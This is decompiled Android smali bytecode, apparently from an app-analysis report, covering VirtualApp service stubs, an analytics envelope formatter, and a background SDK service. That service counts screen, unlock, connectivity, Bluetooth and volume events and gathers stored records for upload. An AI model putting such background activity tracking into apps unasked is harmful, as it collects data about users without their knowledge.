                              155invoke-static {}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$500()Ljava/lang/String;
                              156move-result-object v2
                              157new-instance v3, Ljava/lang/StringBuilder;
                              159invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              161invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              162move-result-object v4
                              164invoke-virtual {v4}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              165move-result-object v4
                              167invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              168move-result-object v3
                              170const-string v4, " calling onResult() on response "
                              172invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              173move-result-object v3
                              175invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              176move-result-object v3
                              178invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              179move-result-object v3
                              181invoke-static {v2, v3}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              183const-string v2, "errorCode"
                              184const/4 v3, -0x1
                              186invoke-virtual {p1, v2, v3}, Landroid/os/Bundle;->getInt(Ljava/lang/String;I)I
                              187move-result v2
                              188if-lez v2, :cond_122
                              189if-nez v0, :cond_122
                              191const-string v0, "errorCode"
                              193invoke-virtual {p1, v0}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
                              194move-result v0
                              196const-string v2, "errorMessage"
                              198invoke-virtual {p1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              199move-result-object v2
                              201invoke-interface {v1, v0, v2}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              202try_end_116: goto/16 :goto_be
                              203catch_117: move-exception v0
                              205invoke-static {}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$500()Ljava/lang/String;
                              206move-result-object v1
                              208const-string v2, "failure while notifying response"
                              210invoke-static {v1, v2, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              211goto/16 :goto_be
                              212try_start_122:
                              213invoke-interface {v1, p1}, Landroid/accounts/IAccountManagerResponse;->onResult(Landroid/os/Bundle;)V
                              214try_end_125: goto/16 :goto_be
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              Strings
                              • UMEnvelope(
                              • version:
                              • null
                              • ,
                              • address:
                              • signature:
                              • serial_num:
                              • ts_secs:
                              • length:
                              • entity:
                              • guid:
                              • checksum:
                              • codex:
                              • )
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/lang/StringBuilder;
                              3const-string v1, "UMEnvelope("
                              5invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              7const-string v1, "version:"
                              9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              11iget-object v1, p0, Lb/a/ap;->a:Ljava/lang/String;
                              12if-nez v1, :cond_c0
                              14const-string v1, "null"
                              16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              17goto_15:
                              18const-string v1, ", "
                              20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              22const-string v1, "address:"
                              24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26iget-object v1, p0, Lb/a/ap;->b:Ljava/lang/String;
                              27if-nez v1, :cond_c7
                              29const-string v1, "null"
                              31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              32goto_28:
                              33const-string v1, ", "
                              35invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              37const-string v1, "signature:"
                              39invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              41iget-object v1, p0, Lb/a/ap;->c:Ljava/lang/String;
                              42if-nez v1, :cond_ce
                              44const-string v1, "null"
                              46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              47goto_3b:
                              48const-string v1, ", "
                              50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              52const-string v1, "serial_num:"
                              54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              55iget v1, p0, Lb/a/ap;->d:I
                              57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              59const-string v1, ", "
                              61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63const-string v1, "ts_secs:"
                              65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              66iget v1, p0, Lb/a/ap;->e:I
                              68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              70const-string v1, ", "
                              72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              74const-string v1, "length:"
                              76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              77iget v1, p0, Lb/a/ap;->f:I
                              79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              81const-string v1, ", "
                              83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              85const-string v1, "entity:"
                              87invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              89iget-object v1, p0, Lb/a/ap;->g:Ljava/nio/ByteBuffer;
                              90if-nez v1, :cond_d5
                              92const-string v1, "null"
                              94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              95goto_7b:
                              96const-string v1, ", "
                              98invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              100const-string v1, "guid:"
                              102invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              104iget-object v1, p0, Lb/a/ap;->h:Ljava/lang/String;
                              105if-nez v1, :cond_db
                              107const-string v1, "null"
                              109invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              110goto_8e:
                              111const-string v1, ", "
                              113invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              115const-string v1, "checksum:"
                              117invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              119iget-object v1, p0, Lb/a/ap;->i:Ljava/lang/String;
                              120if-nez v1, :cond_e1
                              122const-string v1, "null"
                              124invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              125goto_a1:
                              126invoke-virtual {p0}, Lb/a/ap;->d()Z
                              127move-result v1
                              128if-eqz v1, :cond_b6
                              130const-string v1, ", "
                              132invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              134const-string v1, "codex:"
                              136invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              137iget v1, p0, Lb/a/ap;->j:I
                              139invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              140cond_b6:
                              141const-string v1, ")"
                              143invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              145invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              146move-result-object v0
                              147return-object v0
                              148cond_c0:
                              149iget-object v1, p0, Lb/a/ap;->a:Ljava/lang/String;
                              151invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              152goto/16 :goto_15
                              153cond_c7:
                              154iget-object v1, p0, Lb/a/ap;->b:Ljava/lang/String;
                              156invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              157goto/16 :goto_28
                              158cond_ce:
                              159iget-object v1, p0, Lb/a/ap;->c:Ljava/lang/String;
                              161invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              162goto/16 :goto_3b
                              163cond_d5:
                              164iget-object v1, p0, Lb/a/ap;->g:Ljava/nio/ByteBuffer;
                              166invoke-static {v1, v0}, Lb/a/bf;->a(Ljava/nio/ByteBuffer;Ljava/lang/StringBuilder;)V
                              167goto/16 :goto_7b
                              168cond_db:
                              169iget-object v1, p0, Lb/a/ap;->h:Ljava/lang/String;
                              171invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              172goto/16 :goto_8e
                              173cond_e1:
                              174iget-object v1, p0, Lb/a/ap;->i:Ljava/lang/String;
                              176invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              177goto/16 :goto_a1
                              APIs
                              • com.omgSdk.outport.BackgroundService$3.a:Lcom/omgSdk/outport/BackgroundService
                              • com.omgSdk.outport.BackgroundService.getSharedPreferences
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.SharedPreferences.getInt
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putInt
                              • android.content.SharedPreferences$Editor.apply
                              Strings
                              • collectionInfo
                              • android.net.conn.CONNECTIVITY_CHANGE
                              • CONNECTIVITY_CHANGE
                              • android.intent.action.SCREEN_OFF
                              • SCREEN_OFF
                              • android.intent.action.SCREEN_ON
                              • SCREEN_ON
                              • android.intent.action.USER_PRESENT
                              • USER_PRESENT
                              • android.bluetooth.adapter.action.STATE_CHANGED
                              • Bluetooth_CHANGED
                              • android.media.VOLUME_CHANGED_ACTION
                              • VOLUME_CHANGED
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              3iget-object v0, p0, Lcom/omgSdk/outport/BackgroundService$3;->a:Lcom/omgSdk/outport/BackgroundService;
                              5const-string/jumbo v1, "collectionInfo"
                              7invoke-virtual {v0, v1, v3}, Lcom/omgSdk/outport/BackgroundService;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                              8move-result-object v0
                              10const-string/jumbo v1, "android.net.conn.CONNECTIVITY_CHANGE"
                              12invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              13move-result-object v2
                              15invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              16move-result v1
                              17if-eqz v1, :cond_2f
                              19const-string/jumbo v1, "CONNECTIVITY_CHANGE"
                              21invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              22move-result v1
                              24invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              25move-result-object v0
                              27const-string/jumbo v2, "CONNECTIVITY_CHANGE"
                              28add-int/lit8 v1, v1, 0x1
                              30invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              31move-result-object v0
                              33invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              34cond_2e: return-void
                              35cond_2f:
                              36const-string/jumbo v1, "android.intent.action.SCREEN_OFF"
                              38invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              39move-result-object v2
                              41invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              42move-result v1
                              43if-eqz v1, :cond_54
                              45const-string/jumbo v1, "SCREEN_OFF"
                              47invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              48move-result v1
                              50invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              51move-result-object v0
                              53const-string/jumbo v2, "SCREEN_OFF"
                              54add-int/lit8 v1, v1, 0x1
                              56invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              57move-result-object v0
                              59invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              60goto/16 :goto_2e
                              61cond_54:
                              62const-string/jumbo v1, "android.intent.action.SCREEN_ON"
                              64invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              65move-result-object v2
                              67invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              68move-result v1
                              69if-eqz v1, :cond_79
                              71const-string/jumbo v1, "SCREEN_ON"
                              73invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              74move-result v1
                              76invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              77move-result-object v0
                              79const-string/jumbo v2, "SCREEN_ON"
                              80add-int/lit8 v1, v1, 0x1
                              82invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              83move-result-object v0
                              85invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              86goto/16 :goto_2e
                              87cond_79:
                              88const-string/jumbo v1, "android.intent.action.USER_PRESENT"
                              90invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              91move-result-object v2
                              93invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              94move-result v1
                              95if-eqz v1, :cond_9e
                              97const-string/jumbo v1, "USER_PRESENT"
                              99invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              100move-result v1
                              102invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              103move-result-object v0
                              105const-string/jumbo v2, "USER_PRESENT"
                              106add-int/lit8 v1, v1, 0x1
                              108invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              109move-result-object v0
                              111invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              112goto/16 :goto_2e
                              113cond_9e:
                              114const-string/jumbo v1, "android.bluetooth.adapter.action.STATE_CHANGED"
                              116invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              117move-result-object v2
                              119invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              120move-result v1
                              121if-eqz v1, :cond_c4
                              123const-string/jumbo v1, "Bluetooth_CHANGED"
                              125invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              126move-result v1
                              128invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              129move-result-object v0
                              131const-string/jumbo v2, "Bluetooth_CHANGED"
                              132add-int/lit8 v1, v1, 0x1
                              134invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              135move-result-object v0
                              137invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              138goto/16 :goto_2e
                              139cond_c4:
                              140const-string/jumbo v1, "android.media.VOLUME_CHANGED_ACTION"
                              142invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              143move-result-object v2
                              145invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              146move-result v1
                              147if-eqz v1, :cond_2e
                              149const-string/jumbo v1, "VOLUME_CHANGED"
                              151invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              152move-result v1
                              154invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              155move-result-object v0
                              157const-string/jumbo v2, "VOLUME_CHANGED"
                              158add-int/lit8 v1, v1, 0x1
                              160invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                              161move-result-object v0
                              163invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                              164goto/16 :goto_2e
                              Cross References
                              APIs
                              • android.database.sqlite.SQLiteDatabase.rawQuery
                              • org.json.JSONObject.<init>
                              • android.database.Cursor.moveToNext
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • org.json.JSONObject.has
                              • org.json.JSONObject.getJSONArray
                              • org.json.JSONObject.remove
                              • org.json.JSONObject.<init>
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getLong
                              • org.json.JSONObject.put
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getLong
                              • org.json.JSONObject.put
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • java.lang.Integer.parseInt
                              • org.json.JSONObject.put
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getInt
                              • org.json.JSONObject.put
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • org.json.JSONObject.put
                              • org.json.JSONArray.put
                              • org.json.JSONObject.put
                              • org.json.JSONArray.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.database.SQLException.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.Cursor.close
                              • android.database.Cursor.close
                              • android.database.Cursor.close
                              • android.database.Cursor.close
                              Strings
                              • aggregated
                              • select * from aggregated
                              • key
                              • v_sum
                              • value
                              • ts_sum
                              • totalTimestamp
                              • tw_num
                              • timeWindowNum
                              • count
                              • labels
                              • label
                              • readAllAggregatedDataForUpload error
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1:
                              3const-string v0, "aggregated"
                              5invoke-static {p0, v0}, Lb/a/a;->b(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)I
                              6move-result v0
                              7if-lez v0, :cond_c1
                              9const-string v0, "select * from aggregated"
                              10const/4 v2, 0x0
                              12invoke-virtual {p0, v0, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                              13try_end_f: move-result-object v2
                              14try_start_10: new-instance v0, Lorg/json/JSONObject;
                              16invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              17goto_15:
                              18invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
                              19try_end_18: move-result v3
                              20if-eqz v3, :cond_bb
                              21try_start_1b:
                              22const-string v3, "key"
                              24invoke-interface {v2, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              25move-result v3
                              27invoke-interface {v2, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              28move-result-object v4
                              30invoke-virtual {v0, v4}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                              31move-result v3
                              32if-eqz v3, :cond_93
                              34invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              35move-result-object v3
                              37invoke-virtual {v0, v4}, Lorg/json/JSONObject;->remove(Ljava/lang/String;)Ljava/lang/Object;
                              38goto_32: new-instance v5, Lorg/json/JSONObject;
                              40invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              42const-string v6, "v_sum"
                              44const-string v7, "value"
                              46invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              47move-result v7
                              49invoke-interface {v2, v7}, Landroid/database/Cursor;->getLong(I)J
                              50move-result-wide v8
                              52invoke-virtual {v5, v6, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              54const-string v6, "ts_sum"
                              56const-string v7, "totalTimestamp"
                              58invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              59move-result v7
                              61invoke-interface {v2, v7}, Landroid/database/Cursor;->getLong(I)J
                              62move-result-wide v8
                              64invoke-virtual {v5, v6, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              66const-string v6, "tw_num"
                              68const-string v7, "timeWindowNum"
                              70invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              71move-result v7
                              73invoke-interface {v2, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              74move-result-object v7
                              76invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              77move-result v7
                              79invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              81const-string v6, "count"
                              83const-string v7, "count"
                              85invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              86move-result v7
                              88invoke-interface {v2, v7}, Landroid/database/Cursor;->getInt(I)I
                              89move-result v7
                              91invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              93const-string v6, "labels"
                              95const-string v7, "label"
                              97invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              98move-result v7
                              100invoke-interface {v2, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              101move-result-object v7
                              103invoke-static {v7}, Lb/a/br;->a(Ljava/lang/String;)Lorg/json/JSONArray;
                              104move-result-object v7
                              106invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              108invoke-virtual {v3, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              110invoke-virtual {v0, v4, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              111goto/16 :goto_15
                              112catch_91: move-exception v3
                              113goto/16 :goto_15
                              114cond_93: new-instance v3, Lorg/json/JSONArray;
                              116invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              117try_end_98: goto/16 :goto_32
                              118catch_99: move-exception v0
                              119try_start_9a: new-instance v3, Ljava/lang/StringBuilder;
                              121invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              123const-string v4, "readAllAggregatedDataForUpload error "
                              125invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              126move-result-object v3
                              128invoke-virtual {v0}, Landroid/database/SQLException;->toString()Ljava/lang/String;
                              129move-result-object v0
                              131invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              132move-result-object v0
                              134invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              135move-result-object v0
                              137invoke-static {v0}, Lb/a/aw;->c(Ljava/lang/String;)V
                              138try_end_b4: if-eqz v2, :cond_b9
                              140invoke-interface {v2}, Landroid/database/Cursor;->close()V
                              141cond_b9: move-object v0, v1
                              142goto_ba: return-object v0
                              143cond_bb: if-eqz v2, :cond_ba
                              145invoke-interface {v2}, Landroid/database/Cursor;->close()V
                              146goto/16 :goto_ba
                              147cond_c1: if-eqz v1, :cond_b9
                              149invoke-interface {v1}, Landroid/database/Cursor;->close()V
                              150goto/16 :goto_b9
                              151catchall_c7: move-exception v0
                              152move-object v2, v1
                              153goto_c9: if-eqz v2, :cond_ce
                              155invoke-interface {v2}, Landroid/database/Cursor;->close()V
                              156cond_ce: throw v0
                              157catchall_cf: move-exception v0
                              158goto/16 :goto_c9
                              159catch_d1: move-exception v0
                              160move-object v2, v1
                              161goto/16 :goto_9a
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.client.IVClient$Stub.scheduleReceiver
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readStrongBinder
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.client.IVClient$Stub.scheduleNewIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.client.IVClient$Stub.finishActivity
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.client.IVClient$Stub.createProxyService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.pm.ProviderInfo.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.client.IVClient$Stub.acquireProviderClient
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.client.IVClient$Stub.getAppThread
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.client.IVClient$Stub.getToken
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.client.IVClient$Stub.getDebugInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              Strings
                              • com.lody.virtual.client.IVClient
                              Position Instruction Meta Information
                              0.prologue
